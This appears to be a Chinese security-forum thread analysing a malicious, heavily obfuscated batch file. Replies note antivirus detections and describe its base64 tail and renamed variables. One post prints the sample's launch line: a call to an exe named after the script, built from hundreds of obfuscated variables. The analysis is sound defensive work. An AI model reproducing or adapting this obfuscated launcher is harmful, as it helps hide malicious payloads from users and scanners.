比较有意思的bat

mozhiwei

金山毒霸 kill

python无名氏

微步恶意
我横竖吃不下饭，看了好久才从字缝里看出点信息
最下面一大堆用ansi打开后前面一堆“错”的base64
所有变量全部混淆
调用了一个%0.exe(和bat名字一样的exe)，还有参数，
就是

%0.exe %Ujvvtfwwos%%Gnzmnhlrsb%%Juqlhygnib%%Cjhxpxhkrj%%Jqwckjvins%%Mycsqasjnu%%Zinmpwfbwq%%Aaaissyoay%%Dxaqpdhphp%%Exwwjacjmo%%Dtlxslyuax%%Cdiorchxxm%%Pquglcedyr%%Qocmvjmdxe%%Enoknapheh%%Tfmzzmzelq%%Guvihnbvth%%Peashcbktk%%Mwzqylbcni%%Khrgxkrgcz%%Ztowsoeusw%%Lplbdkvekw%%Lzilximtux%%Kvhtlticyj%%Ghkqxvwqdn%%Omvgnzldzj%%Blzumphrpj%%Ctfbpdprob%%Lwphixaafl%%Iecphvipeh%%Nfatlvhuqk%%Ktpxxfvrlo%%Phlebxqqtu%%Vamgogwwwn%%Qfkvbpperc%%Zqdprgtwso%%Fqavokgijr%%Izvyyjxpcl%%Hlzrvewxoh%%Nzdiiafogr%%Ihuataveri%%Jdtggtqjak%%Njubdivnqx%%Eijkdaqzxu%%Jsfgyjgxbo%%Kvnwezmtwk%%Fhnudauidg%%Cqlgbueodu%%Cymbnivmge%%Nxdmpbekcy%%Oxtvmtjhuj%%Uyqbhhvlgv%%Ehczsenzqa%%Qtleffeqpu%%Ynsxjohbei%%Gsegthvuch%%Gkqusbmlwc%%Cewmwqpfqd%%Xluiuypeky%%Kjoinoxyeh%%Bvecfbwrkd%%Speyjuqizu%%Mibystpnyi%%Tqaicbgrcs%%Cxuhguepys%%Xoykvtugkl%%Liscjbpwwi%%Oyfhsonusx%%Oapgkfsqmi%%Gahqgtfsxe%%Fitpeziqsh%%Ganmxlsmre%%Izjoboroay%%Jvwnsghzbl%%Wbyfcgmutv%%Asatvfzenq%%Htqtxkdztq%%Etkghhadmv%%Bwvfxqvdrm%%Hcllddleir%%Cmacrhitlo%%Fvssolykwh%%Pahhjbiyce%%Wvvutovsnp%%Hbrdhljtws%%Faiaccftsp%%Zjqhsjayza%%Pfwgzniezy%%Robkzwnusr%%Jczyqxlklx%%Lltwdzdbbo%%Tatuxkhgiv%%Vffirnfypb%%Bysbngufhz%%Tltdxiieag%%Pfcpcfglfq%%Telzmvhrhr%%Pcyicjmcki%%Eaxjmwwdzi%%Ajaqgozuqc%%Brxjqngtms%%Sdbwlsgcmq%%Zerzrgbhco%%Jslihndoty%%Qcqhpwhefn%%Hxhacwzyrj%%Myqyiasspy%%Priozwnkkv%%Yxcpglklfk%%Nfxjmslsyo%%Doogyqpsag%%Jonwlpvbrx%%Qgnekjuzch%%Kumvrjiwrq%%Wrkzbzrbyw%%Wkbbyxbjvo%%Wpqsvpbseb%%Gykbayvodl%%Ssbflzslwu%%Iybduhbsdl%%Yzwwqxaaaa%%Bngjvdokhv%%Wpvkthxghs%%Xdkrntwepn%%Zskwtvsrhq%%Tqlhpidmdj%%Atshcxcowc%%Gjvtwdfyqy%%Ofzqzgsdbf%%Pkbfnfacuv%%Sevejjurlm%%Cevfuuuciv%%Fzmrmwhpgq%%Ccevfkkugq%%Marpckowls%%Lyuyqtsesn%%Celujaaazk%%Kzvrjehxob%%Hleofehgel%%Rgctohpxfb%%Kowbhlccom%%Mvpqfraxpf%%Suvosexcdb%%Okrmrsocgt%%Bfrrzwqmnw%%Hsiajqtijd%%Oaynycdczm%%Cxqvdnddov%%Nlohuvcrda%%Zftcfbgdtx%%Tombtjbmwv%%Npunpdmrsc%%Alyymxdopc%%Hzjrczymnk%%Tpuinklgmb%%Ookrxhpoow%%Gnwuonfclq%%Fzeiikqqkc%%Mwbonsosuu%%Kjyqegsatz%%Eivwwpjcim%%Qydlkjligv%%Zniqgvbnec%%Sqwkydbfry%%Iljhelgmgu%%Vjtyaqaeqb%%Nvygtabsng%%Hfrhmndamu%%Oohjgiwykh%%Dwppknncne%%Jnzampsmln%%Nzsvmzooal%%Ddigclqbxz%%Abmhkaphwq%%Qkmwuedtcl%%Yyccagfsxb%%Zqomnlmkll%%Khsjutrlmy%%Hwylabykhd%%Vwkvrzvzji%%Rthqargthh%%Ptgyudrcll%%Ncdhqnxwrv%%Xrcdhoohlj%%Veczocplbo%%Hsoyuppaam%%Tjcmkyrdrf%%Okrbpjzdtn%%Ylvdneddjr%%Yogyqmcqpq%%Lmuvzxamil%%Plgnoinyzf%%Vnuzhadtld%%Gjodclqaep%%Dqvxcnhtji%%Zdqjvysvny%%Uhafegxdld%%Rmujbeswwu%%Sjjddcseie%%Svnfuwppsv%%Qeigqnjhiq%%Gwytglyxbb%%Osvhkwzopf%%Ocdbeobcmq%%Slwrywwtzj%%Xsoqhxjbwu%%Ovrcbdsxpr%%Jvkkjcvdjn%%Zfpfhwomtg%%Fzgrcxttpu%%Eyehzchdhe%%Bfsivifmvf%%Pfdimjotil%%Jcnojaaigf%%Olfpezhxwt%%Shykeyvvup%%Nouwvzsdzu%%Ixfpqeaodn%%Crwotbddkk%%Feoqraqiuf%%Heyclubita%%Ygshnwsgct%%Vptoodjpxq%%Nruygystdy%%Aujjmymgcv%%Ikgakrlkoh%%Lmldmgmtap%%Dycetafjbp%%Rcmbhdltoo%%Mifvmojfxg%%Lsfnskhbhj%%Mbiypjzjvj%%Vtfmcvsgrf%%Qzmvdywzjx%%Vjleclzgfc%%Oaknkrntlw%%Rakcsmpnuq%%Nazxnliakq%%Vmaoqqpykl%%Ldnnguzilq%%Wmmopoamay%%Jmiuafavmc%%Wqcifkmmqt%%Mzouujzlzb%%Pcymczutmb%%Uewjtfjdje%%Cowhljxozq%%Fovknusqgf%%Qsapyidfap%%Awbuzagras%%Cfuvwgilwy%%Ntweojogid%%Grnkqimalm%%Obqockyets%%Zricbhaxfp%%Mziwlksjfo%%Thakkldibe%%Ljnpdoilij%%Hpvvzostcs%%Sozeyrryrq%%Esvbedltsx%%Bgbwgemfkw%%Tjfjmxjirm%%Xktsepttqw%%Czafqlndyt%%Elovwummoh%%Tdcgzrmirq%%Lsoottjasb%%Jfkxhlvyvk%%Chfjczxtfz%%Yemhilxabd%%Kmtnxntezn%%Vongnenflu%%Wpuscftcov%%Ovwsaqnrlo%%Gsurdkrgue%%Yrohhurbls%%Urqezzrugx%%Rwuwndvcos%%Nnhkxwhplf%%Zlgsupcqse%%Swzwmbxstd%%Zomsfhjggc%%Scjbyfpbcy%%Bfkkaqnlxv%%Zpvhgkznnm%%Gwjplqnyyh%%Lwqvbtebso%%Uxilddgbvn%%Fbopsfwuzj%%Domqjdzafm%%Fyvysinymh%%Jldkcjhacw%%Xjbilglsba%%Egviiggpwk%%Ryirarkcnz%%Vyyjpwwmnm%%Wvwmdcpvcv%%Dserezbkit%%Vjebegimtm%%Ktcknwbwnx%%Cpzswctgeq%%Umeuqnqvhx%%Ucbqkjqueh%%Xfwkqgjleb%%Mbhdryoitz%%Ggoqcznihm%%Mzcwsppudk%%Dfqfksvyzm%%Vibebrqfhr%%Tadspnzklc%%Iuejvapjgj%%Eojvrexxva%%Yjmlqdbxqw%%Tknxdadria%%Bgzyneribk%%Pbpkdzitss%%Zstjqtbmrq%%Bgpuzrkoyl%%Mswghrudte%%Sjzpbjnpht%%Derkijmvkl%%Ptvgghvmcz%%Yxsmxsgztp%%Eugeihalxx%%Ezsipyosit%%Oamhuflemq%%Cmbvhumqyy%%Gjpfuzfkxz%%Doqzbdhyjc%%Wwyhvsxxbv%%Lyuknelhnv%%Zbhnmnvctd%%Mngvckkhjc%%Biicnfugmw%%Rzloduokuh%%Wvdxixryhd%%Udxkursfah%%Tppwmmcssh%%Vzncgfeltp%%Nvzjcnbbtl%%Cjknnhfglv%%Vzgzhuqveo%%Mhlltxpguy%%Kaygfmpapz%%Axzytopzbh%%Xgwfyvxytq%%Rzmmkuazuu%%Fpgfophmre%%Iqemaedsik%%Oqgyhalmoz%%Opegcharrj%%Nkhphbuzmg%%Qhrkgpjhxn%%Duysqslxks%%Dmbywdjrrg%%Flaiigyuan%%Yttdftmozp%%Pxptcegsoc%%Grqrhstqkj%%Trxxuksysd%%Rusbqivhfd%%Afgxhgdcvn%%Zvepwyasys%%Mhalllzoaz%%Wmkgjnkzqn%%Gpcedvpcer%%Idinrsfvmv%%Gobwrnkygi%%Nbbllwfvhp%%Wwjiqsdxoq%%Hpmvgsognq%%Lqwwehbxcv%%Nknxykesfy%%Jnkqayoges%%Hyhrdganej%%Qgvscxboww%%Nvaohyggvf%%Sutjnocwus%%Jqnwhcsrnd%%Wakhemxsjf%%Auszqwnleo%%Uftenxhege%%Gossjrkleb%%Qjmpspyofl%%Ognzirgfth%%Eslfzmbapz%%Lbgcxksemx%%Ytzvpzatjr%%Kfrwxxxhpg%%Oyyfanzkby%%Ybtwjltqpz%%Lhqyogjjfz%%Mlofjzutuc%%Zqrlsilvnl%%Ehrqugharu%%Dqeclnmnmj%%Rzwmzvpfff%%Unvuuftyld%%Rtcazjlpzf%%Wxjeufleqz%%Qcvmzpukig%%Uocirxwvnq%%Jagajxerap%%Uoilnpyqbj%%Pbgtkhvanw%%Iprzppwvcc%%Lcktmggrvb%%Zguebiumpb%%Bdedgexivx%%Tcnzymqnhe%%Beelwcvmyh%%Vjfaahygmh%%Jyvyixsufp%%Rgflaxytge%%Ikjncjxmyq%%Ojazvdigcz%%Jahipoduac%%Ifziyyohwz%%Zgwobhfgqx%%Prqhuidayn%%Fcmviijsbw%%Pakdzdeshh%%Jxddnqosnq%%Vnjitxtags%%Xneuiohnhr%%Dltqehziir%%Urekabrbjc%%Jelpjvsjvy%%Jbkvmkusem%%Xkspygjttg%%Xfefiyzdhi%%Opnjhsgixq%%Hywxeymvqd%%Myqpbexfnn%%Kqlwxhxiif%%Aawcyzihaj%%Menevpzyid%%Vavjgrnazx%%Bdnlcmcnqc%%Vqfdbfchah%%Hyaejzfmwg%%Lihciiqbbj%%Mmigifvria%%Ogzrpcdibd%%Gqrjqmicvs%%Obfruvquwe%%Dodvrfipnf%%Fiaxcwvypv%%Xsvqlnaixu%%Mjmxzsnvsk%%Etppmgaioy%%Zsebglsnje%%Fasstwwcxk%%Izffrecgdf%%Mruyutekqo%%Aamnfeaxwq%%Kxkepamzkc%%Jmjernftxz%%Rlmjkinszm%%Dfknvohqiu%%Hfanfnqiws%%Yhzwyylbuh%%Nuzxzdcwic%%Gpkcsmlzew%%Sevhowfnpw%%Dfwbhmgdob%%Luzumiwxdl%%Nmxxoizric%%Yohmyatjvf%%Gildkyfbvf%%Aikdjriymz%%Noulcxnnvl%%Pmbxffatnq%%Cxwccqedcg%%Rvwvssnzan%%Lrfjqngmyd%%Qokvwprril%%Tjkouuqffm%%Rbtzflsmmp%%Kreypckazc%%Awroubhqpw%%Xahlmpvkpl%%Xeetbbelyr%%Jpgdlujefe%%Dbxqsjktma%%Hzloewsyns%%Wvrymhudar%%Grflhvhoas%%Rlzyjkesyp%%Clrnhhjyek%%Ogtuuquzgj%%Pdxublwtoc%%Dcfkpuzsdz%%Likpdkseet%%Pelpaynwlw%%Lqkbhmbiez%%Qcwgxgthrr%%Srovmyqqkq%%Hcggouxiiq%%Jkzecnifrt%%Effuetcppi%%Vkyosnvprc%%Ilzahirjsy%%Plyqlbxmcu%%Siszuymlmo%%Stnpktgfmw%%Csxrsklhcq%%Qjmxjaszfj%%Wfxdgwxjfs%%Vszgsalbhk%%Meiwyigqfk%%Agadawutkw%%Nbbkvyjgei%%Orsvwrxafx%%Phevrorwgw%%Frrkwkcybz%%Zalwvjoegi%%Zuomggxgtg%%Gmaicwzhyl%%Oyzfypvhzh%%Znqxxldeeq%%Nvfutmzdty%%Jhgutauioq%%Kphlhtwdlr%%Tvchyttfmm%%Qsoaxrgvdw%%Ruqofyotmz%%Pwrcfoeywa%%Gowbasbhnp%%Mbzozyfoca%%Easmxualvj%%Nizcqcxonm%%Whfxmowddg%%Iqwwvfwkef%%Sqldcebwyw%%Brapdxuvzi%%Xxiobwmchk%%Gnjhugvcvi%%Mzfgfrpgsy%%Lblviuhxcf%%Szpnqnhsux%%Cszrwxsbjk%%Gfjizfcoza%%Yyzppnkrqr%%Jxlvvtbtzk%%Cfnsympgok%%Lttuyeskbj%%Nalsajtnnf%%Eipoyskhrc%%Xddffqdrxr%%Arspxbuvso%%Tbtigdeewf%%Tlsyljxfmj%%Gcqvfnqzrw%%Yopcjwkvzc%%Mzvrxpyten%%Dojiiqlxct%%Memzhewqpp%%Zcfjwghyyp%%Owvdtjfgut%%Kmsgqhmvks%%Tieoobialb%%Imzneqjjfx%%Zpwwenkyto%%Tlnfwgsgpr%%Afuskymfcz%%Ydpntdlhjb%%Qjgxixztqx%%Xcuowtvelg%%Afwtqqvamt%%Ukxnaryxkm%%Ztoecvjbrz%%Ihvdblnngr%%Byhxdmfgnf%%Uxuyhhqrqv%%Hujmkmoump%%Dlqslalrbp%%Pcolfknwvt%%Vvwljhpvmq%%Yltxbjgbnh%%Vyqbfefxha%%Zrysuiofie%%Kqflrejqkv%%Dmjoywevgf%%Bsnlqgmadt%%Ubsiwftfja%%Vomlwnikux%%Dtzdcsctul%%Rimrbctass%%Czlfkmfcod%%Xcggpbcpgd%%Dzlyjmcvju%%Thrbuehttp%%Mzfqnocgca%%Aeuopdonvx%%Kksukqlell%%Tiwqrduukv%%Kvtjupndmr%%Puxvfcgkfw%%Dyuqhshewl%%Itcanprjzv%%Dhruvykalp%%Wjoorlaccc%%Higaiwswhq%%Kxlktvgavi%%Hgshpzeojb%%Oohxnubrlz%%Gntvezyduv%%Fahtubpylj%%Rdngcwqoxz%%Upovbunxdq%%Aatnwnhncm%%Ecgcidznti%%Ikgvbpmlsa%%Nsvuiqjajo%%Ocllusjlny%%Uaevhquymg%%Bvvbymhlur%%Tzdetgyuai%%Gaytgnnznr%%Vlocmthjni%%Lxrvfuwabb%%Saxdzbxbvl%%Zhycvilara%%Zohsxjicol%%Qnymzvnldl%%Wfobjdzoax%%Iwibbdsffq%%Sunjvljlcz%%Uaxgdtafju%%Jtcqduewkw%%Dhfmsbrfgx%%Unmaciycyh%%Dnwlgyswgb%%Gmbgwnuknb%%Cuylzwhbov%%Vcycsplugu%%Juzfqhmfdo%%Nnowfioklk%%Rqilfeozog%%Caetshvsvr%%Kcxzhhnbwj%%Bajvctmnam%%Smrxmnjvdx%%Nwptapsidy%%Qmcefbqiqz%%Uhsjzxkanu%%Yryywelpvn%%Aekbvgknrk%%Wafecfdguc%%Esvjayodha%%Qbncyqxqns%%Nxicxxmtvr%%Aevsjhibbw%%Rggruvncfm%%Insbpgjtlc%%Mvhpzlfutr%%Hworbgrric%%Kknjjnmtdc%%Xppzkwyqri%%Psioemyazi%%Psljschygm%%Ymrrtsgphf%%Ibzzmrbzfx%%Omtunfefgi%%Oakfjdbrvm%%Fjsuantlxa%%Aitixmsxdo%%Naizqhruqi%%Qkdtsftztz%%Ltifhghbhw%%Ldnhyeatds%%Wzuokqeaqs%%Ttdecuscrk%%Apmuxmwwun%%Eavaclztvr%%Chkpdszjed%%Mxbtshnary%%Tifdntxdbq%%Vyhahtewqe%%Mnrqagybiv%%Yybxxubhck%%Uwhoinqaly%%Cqjnlgqocg%%Uvugrwxkcn%%Rxugjpfdin%%Qxqkshpolr%%Dnevqzcbwm%%Qfyxgewddw%%Bngpqwfknk%%Gizlkeszqk%%Ndgwwkzsdo%%Lmkppphpet%%Usomfhgmnc%%Lxntixhksf%%Xmhzyuxjwu%%Wduwqupuqo%%Dmeacoyrgr%%Ixxywhlpnk%%Kwqtgicqdn%%Hmtdckigwj%%Wgdelzfvaj%%Jaggehwltt%%Liosjwdtwl%%Yesdodtmhh%%Dhptehgnyu%%Nwmcynslup%%Vlypkficrb%%Okdmqesuoc%%Pqvcxbrpfa%%Lirrlriajz%%Zdvxgdtamt%%Vxwrzeqwri%%Nswrpfslay%%Vrlpdlvxvu%%Irdlfnlarh%%Bljalggeha%%Khznxdmhno%%Jtbwzwollb%%Usttxkikdw%%Fqpujbrqnc%%Bdmdyiknao%%Svsfgsngpn%%Vbeqjsdgmy%%Eyxjarfpup%%Zvjoejyjor%%Olbagayvug%%Edacktyjfo%%Nxlzoarpmz%%Utsvjsxwca%%Skvolvugek%%Koezerablg%%Ijjvmlletr%%Wbgfvccwos%%Fllbofpsrs%%Svlwsjazcz%%Kqnmojhydb%%Pdntbwyigg%%Wsmbybqknm%%Ccuoioxymf%%Yqoqcphsvv%%Kstvdsemnm%%Swlryniylm%%Zzvaigdvyj%%Typsbkiylp%%Klkambexrp%%Gjhivlwtnw%%Oioetugtpo%%Ejmvcopvng%%Bgdickrhwq%%Nolpbbxghs%%Ulhdkwwlgh%%Wbfhviefci%%Dzxyapyxta%%Rinvlqyaxf%%Nfboumidtt%%Wreyovojcu%%Yysfqnnkvf%%Jeiwuyyieo%%Hveaezepgq%%Bpxchpnwxg%%Yyiojsihdq%%Wfeoncusbq%%Iyefduhfpf%%Lclxpjnpql%%Qxlptwkjoe%%Uuugyatckp%%Kcsyfuugye%%Pebpzkmplh%%Jyrkkqhezp%%Pkeaaofnjy%%Bekjpptfgn%%Oeqdgmlhnp%%Nphjpfaaol%%Fzfnffnhvu%%Wbxlaltauo%%Cxzulmwauj%%Psruhoydyb%%Zdmsslswid%%Lzgajizlbt%%Immleekddm%%Npctoykgba%%Uzsryqmrlz%%Pmcfsmrano%%Aoswqvwmlk%%Xskbziuvno%%Rtrewanxab%%Hktmzfhvac%%Uzfacwcbfj%%Svnzwhxozq%%Hyljdnzxbu%%Byvkusorca%%Xmrrjmwtqs%%Hsvkvvnvwo%%Xfzlhtzdfd%%Sfmzsvhuar%%Qghjmjckpz%%Fsuncsngjp%%Mtomzbfwra%%Osufxrxpzy%%Roogyalzwa%%Haklexrukk%%Dgtpkmyopl%%Uxhlyxehnz%%Qgzrsnijba%%Zcfovkvzvm%%Cwjlfktzmg%%Tjhktwgbwx%%Eonpmrrsqn%%Cfmbwtxolh%%Uiwuhpvvuy%%Eucxinjuyo%%Tajzenxgna%%Zsppdvrshx%%Vwyrjhcptj%%Kcpxotzxqt%%Sphuzlenum%%Vqmbswcrqw%%Kinepwcraj%%Vucoegpdrx%%Dpugntqnfr%%Rigtikccfd%%Immlqaoyxl%%Hyzstvngrv%%Gpmjrnoifu%%Emyooqdjpm%%Fsqtjsiozn%%Wvljxtadtd%%Mfschvakdd%%Seqeqnyszy%%Fzjsxibprv%%Pzpmzzzomo%%Sxlwvsfgsj%%Vhduxnwzey%%Tktinsodeq%%Nkgkfhomxf%%Duwizivuom%%Dajouhdcjd%%Dbccvlbtpq%%Yjcyuzolif%%Wtosmnaspx%%Dlduccsumo%%Gcfyntxltv%%Tsudgjmjph%%Kjdrmngiws%%Gtytytoqet%%Ppyuelrzns%%Piffdxyola%%Npoaoztafm%%Vwfvrvkjnb%%Vhuedyotqb%%Vzeegaayfe%%Rquawtdjnh%%Mpbjegujwq%%Lakdrwrbpr%%Uleikfmuhk%%Ufgiofyvza%%Grbotrgria%%Cctvnakszz%%Tzbmwgtcol%%Ywbpldkppt%%Zvlhislkvn%%Ufvzggposm%%Xdcwcfaekj%%Qvdgayoued%%Uihbqsabie%%Ovwcvvtofc%%Rgzlwzcpzi%%Rvkorowagj%%Fyvguvyalf%%Ezocmojver%%Qlcamtlikg%%Zsivwsltqb%%Abeudsghbd%%Fawosuwutb%%Kqpefmqtfu%%Cpedqphiwu%%Ndggaywucc%%Vqzpqkmzor%%Bmbhbpvtxd%%Moyzngkieh%%Pwqdylppmg%%Dhtftacyfk%%Cdwzphsabk%%Zdvgbewyjp%%Zghqafusgn%%Emdtfmarnr%%Sonbhzmmdo%%Ddppkvvfyk%%Mzuognabbo%%Efkrwltfjb%%Siprjawnij%%Qutcettzvu%%Zllokytxsz%%Cqwxsekdeg%%Qmssxkmind%%Rtkpbhxahl%%Hzvjhaxwka%%Iqupdnssqa%%Mlkpiighvl%%Hjvtyrrjlx%%Mqxmuazulo%%Oekhzwpfay%%Tqaztzubqm%%Wihsnvnxui%%Jlvhwczouc%%Cljmdvpytv%%Fxezsgwrtd%%Irlspivtcq%%Aggnkkzvps%%Gpdzclhvpq%%Ghurukzrwv%%Awvduzrrph%%Gacbxtomqe%%Azemjtlpsz%%Kiytrjtzec%%Upghjfftub%%Vnbsuasjtb%%Obypwybjjn%%Zohnkktwce%%Nrvrdxhgyq%%Rkfdosrqkk%%Dwjgbhgnhk%%Hvgpnwfglz%%Rvkswoidzr%%Tclrarippw%%Rtyojveqpr%%Mleltilqjn%%Ycoqqfjopw%%Oqqphywwjb%%Ksnhfixzyr%%Frfcxofixe%%Lpatdwupev%%Mohicgogli%%Hkqxqwlnrs%%Snzepusuei%%Nhvdfrjwzr%%Azxowbzcdg%%Kgylcypcsh%%Oubcuzomsz%%Monzstpkho%%Vprxxhikag%%Bhdsdfxvux%%Mmkdtwszsj%%Ifuemydeen%%Qellxfkvvn%%Wuqkbifneb%%Ojrrywmzff%%Btrggibyfo%%Lwdfnoojde%%Sqzcyhmunb%%Slqqlccjes%%Hghqpsgmej%%Hcwbmltohz%%Wglevagmtk%%Mffkwmijmg%%Azqeuqppez%%Jncfwavdvp%%Lttuwcxlez%%Djcaywqhke%%Lqitaycanw%%Rfoxuhgvhr%%Sdkewalbga%%Kntqeulzty%%Zxyiixuefr%%Quasmhfdxa%%Nbtnmdmytz%%Vgcjsvecvy%%Fhvpkpnbdw%%Ohctlxdlwf%%Lwkfvjsqzq%%Cdhyvffddw%%Pluwlnejyu%%Rtgqnjwpta%%Wwbmtlaeyf%%Saizqaboui%%Ejsfzjwrkl%%Jpkcasjicz%%Nalscrlhzn%%Iivlwnewnk%%Pitmvcpgyy%%Qtlvueyzci%%Ypsxdbuygm%%Onuskfhyxa%%Beibwowzqr%%Petfmaqwiu%%Hrzmjdytlp%%Xzccgtgqao%%Evhoxktpfk%%Pkqdskfwst%%Qdobupbryt%%Tzvtpmjloz%%Jinbamjzjw%%Ojygybggth%%Icqmqppwng%%Bthskhpnai%%Gchcejbovo%%Fcshqgsbkl%%Wnlcuubfwr%%Ltfkbgvohg%%Nabzbybabe%%Pocpmtqfhk%%Hvsddlxhgk%%Ldtexvmmaw%%Tbescwrpyh%%Pqgxyrixwq%%Buurslvysq%%Heelrgrabg%%Uhiyuvxwfg%%Nopkuzgmzq%%Bsxiallufs%%Zhvpwulwwx%%Nztmcsptqs%%Zfalfbjaxj%%Jcqngftzna%%Nkpccczlfi%%Wsdnsuhkkv%%KkynnkiG{过}F{滤}W%%Ypfqeopyid%%By[过滤]rzcul%%Yjpsqdmcor%%Ttfijgmnjd%%Fibhtmpjzw%%Lfluxoznaa%%Cmjqjhsmfg%%Fltqgqhizd%%Odcsgnilkv%%Gynibsylxl%%Ucdtqamuoh%%Growmzkrkw%%Zgbkzgylpn%%Rwlnjlzjbg%%Bnxdopkqwc%%Igbalnbttk%%Bafapkgama%%Zaqeumjxvk%%Vhonelvkbw%%Kfpqeahxne%%Jkewchqwgz%%Edxjoumsve%%Ovzqptlzzt%%Emkrbldskx%%Uyecshigbj%%Opbjpnkngi%%Wqwmursfhd%%Qthyjprwyi%%Lexqeokbco%%Aqlcaebrha%%Ocyysviczz%%Vooyxrsghf%%Hrdtcaifxf%%Nzoytjfzxj%%Ghccsmbmfi%%Lvjcswzfwr%%Ndftlwzqeo%%Mtjyzzpabq%%Zvaptspmfx%%Jadfwdciqw%%Mliqwsllct%%Hyegsrdpzt%%Gmkhemqebv%%Wgjedomjsb%%Hejmqlvwme%%Amjxpzaamk%%Bhjhwaozcd%%Ftxxlcdyrt%%Qtrxvjxmod%%Nmwizaucpp%%Wvuizgplln%%Wcjttipmln%%Cckzptxoyl%%Hajbwuzixp%%Umaaglcdor%%Khrcntkusg%%Jamagwsiwz%%Jhovspckse%%Quzhbzjhnc%%Jeprgtzauk%%Ttgphdtvjx%%Racopoafyg%%Nluuperxpy%%Qbpilwnkzy%%Gnxqkicabr%%Stboxhzmzd%%Lvgkhpltds%%Bqgazznejg%%Crvxfwabld%%Xbkwnkgnju%%Xiwiqcnbox%%Uvctauajek%%Pkiavzfknp%%Sauojtumhd%%Jymnjczrvs%%Kxiyfnawnq%%Wcozetaojg%%Znbbbrxurs%%Aopuevswjw%%Txyqggknjp%%Ckhptwvhwo%%Qffvpinuuj%%Bdenmcoluu%%Gjlbqpgzbi%%Zkzvgnsday%%Tqsznygucq%%Hkmbhgudea%%Bntmjqejhz%%Jlkwbqrlnr%%Jmxkapyxoz%%Tpyawgwgqx%%Uwmdhwzqaq%%Pjpnqppjlu%%Sgvhfumkzv%%Tkuqxnzuce%%Pixxkkzljg%%Qnuwfobexm%%Kpqfweozpd%%Pvghekjxxv%%Vaasefpylj%%Muwpuarrbf%%Wawgruhnsv%%Edhcrjoxaq%%Ppogrvyqnd%%Srwrzveubk%%Ycgpeimuyk%%Ltrkqglqow%%Wqaocngqcw%%Fuvqrnjybi%%Idsdryamas%%Jnffnhbrmr%%Bwsberyasd%%Wnognsyxwe%%Nupjnrpqck%%Lrlkgllqya%%Aztxwwzyrv%%Ievidggiom%%Chyisfbdzc%%Giywdnbsnr%%Sqygbgwdgz%%Edbmysalfq%%Uwzpoagzeq%%Fouxuljrgl%%Jywzxdhmxl%%Mqnxwwqisa%%Awyquqjdrm%%Jjethvzasl%%Tubtdpaxby%%Uazgkmageg%%Udukbdlupb%%Wqqghgufne%%Qlctrjjyiv%%Vtvmqpzrrz%%Dghzbejsye%%Rusapibass%%Tnlufdueqs%%Gdnnbkecrn%%Zrzedaavwi%%Nyyzfqvnux%%Jfcgxnhfzf%%Eyifscnhqe%%Dzihehfohl%%Pqhuduotgq%%Tuwqepptgd%%Cnwpukwubq%%Itxnqnroby%%Nuaalidrdp%%Rlheibuszt%%Xtsqhzwiaq%%Xbripinwel%%Hfrmywltfo%%Typiatbksl%%Muqmrqtzoa%%Oxnomrcfsk%%Ocdlxymjhw%%Gddszmpevh%%Cmfeavlawi%%Rwshxjreps%%Ekssuktuoz%%Cxkkhcxzkb%%Nlnyejlwvq%%Ukpcdstnjp%%Bqlwgtlhzu%%Lstnetxunk%%Zxzyesiihp%%Ikpvaxzqsl%%Ydwaecqbyj%%Vzzyqdrnrn%%Ldzkmbdynh%%Tgcbmwbyuc%%Bgkxujkqfw%%Gmyeaudlod%%Zsoqpoxylt%%Cstpmetbqc%%Qmtqahixbs%%Spjqdjrthf%%Mmflunsjsv%%Bcvlnnyxpi%%Gzwtbmiclc%%Maukqdgiwn%%Oyffrquydq%%Ludzznqlji%%Eqxpiahlvj%%Gpbcthtqcl%%Skzvrswukc%%Nvyoiyaqwq%%Iictjvtagr%%Uzjypurcxq%%Dnasvlrmtu%%Hctmdjhflw%%Zwntiomayo%%Hysgmuikxy%%Eggmkrfwug%%Mlqbrhzhjh%%Yqnfmiknzi%%Awhnsspbir%%Ipfsbviqoe%%Ubaqzntbzc%%Gswmfpecjz%%Syyrzjkver%%Ztyvnzvrne%%Zobgkqstml%%Rfhplwciqq%%Dxwicntbyg%%Tnpeaewshj%%Qrjtzumijr%%Xmaxbbrtex%%Wrugreqcpg%%Zjbhzmodii%%Bkrhigmrdy%%Ndojmzwdbv%%Djtcsnlsyp%%Nokvwlznxk%%Ryzrtvvrvz%%Pkbnerrpov%%Vttokytsnb%%Ajfrdejcjx%%Stxyacmwre%%Ukycoyflgu%%Cdetyffkkz%%Ipgrdcwuoh%%Mwbjgqkdcf%%Zyvouopdau%%Xcmrweehzm%%Bkxyigcvnh%%Vchfajtrxo%%Nsutkjjjnc%%Mdepdoawfo%%Mtqszvvhqm%%Lmkkzjqdoz%%Wsilvrxsbm%%Jxmibtbbuo%%Nctbqattpt%%Yxhgsulfxh%%Xdfedoabjg%%Ioialtzguv%%Yeciolpfqg%%Hvenqkwoyc%%Zrjjljohuy%%Velcisaxqr%%Yukczmjvja%%Wkirvhvswe%%Whlslckcfy%%Kzygdfggky%%Atxtblvuga%%Xialurisrw%%Bgplqxlcnp%%Apixecjrqa%%Gqvebbymlm%%Wnonxtemdd%%Zthraizdhr%%Hrcrplklko%%Zyqasnauak%%Yxomanjeet%%Bvftfflxxl%%Isboebcgym%%Hfcxtjcpqc%%Cggrmetwun%%Bcwpbfvziz%%Kcgrlwsiav%%Cvguicmkba%%Hflllfimvn%%Nchrsaapgq%%Llwzkfvbgz%%Tlyirequgf%%Ngmnhzopci%%Cwdlowjmaf%%JG{过}F{滤}Wtcezzn%%Jfiacfyirk%%Rgzywxhntv%%Veubwgaquf%%Vpqpzxndij%%Yaupodhhzw%%Urgesekhev%%Ehompbqkzz%%Jeejwujens%%Zsrykejlxu%%Mgymeqmiam%%Nxiamqmwhx%%Ugulwmqqbl%%Remendfref%%Iaeafbkrlt%%Rmezaglmqs%%Awhpuikenj%%Kusboucugv%%Bzehtfameg%%Rtbmfmtofx%%Qgecjxuclf%%Ergvrbrzvp%%Ixzgrrtgwc%%Anojeuvbyw%%Kxbycamgud%%Uttposgxlr%%Dogifrdxqw%%Gqbzfkwbdr%%Fmlshhuyum%%Oxqgsvrttl%%Wppyxestke%%Weutmrdnay%%Xecehizuhj%%Tcirupwmud%%Oanqpjcxub%%Sdsvosmlqo%%Fymaktwcyw%%Uqtxjwqmoy%

前面几乎所有被混淆变量的拼接结果

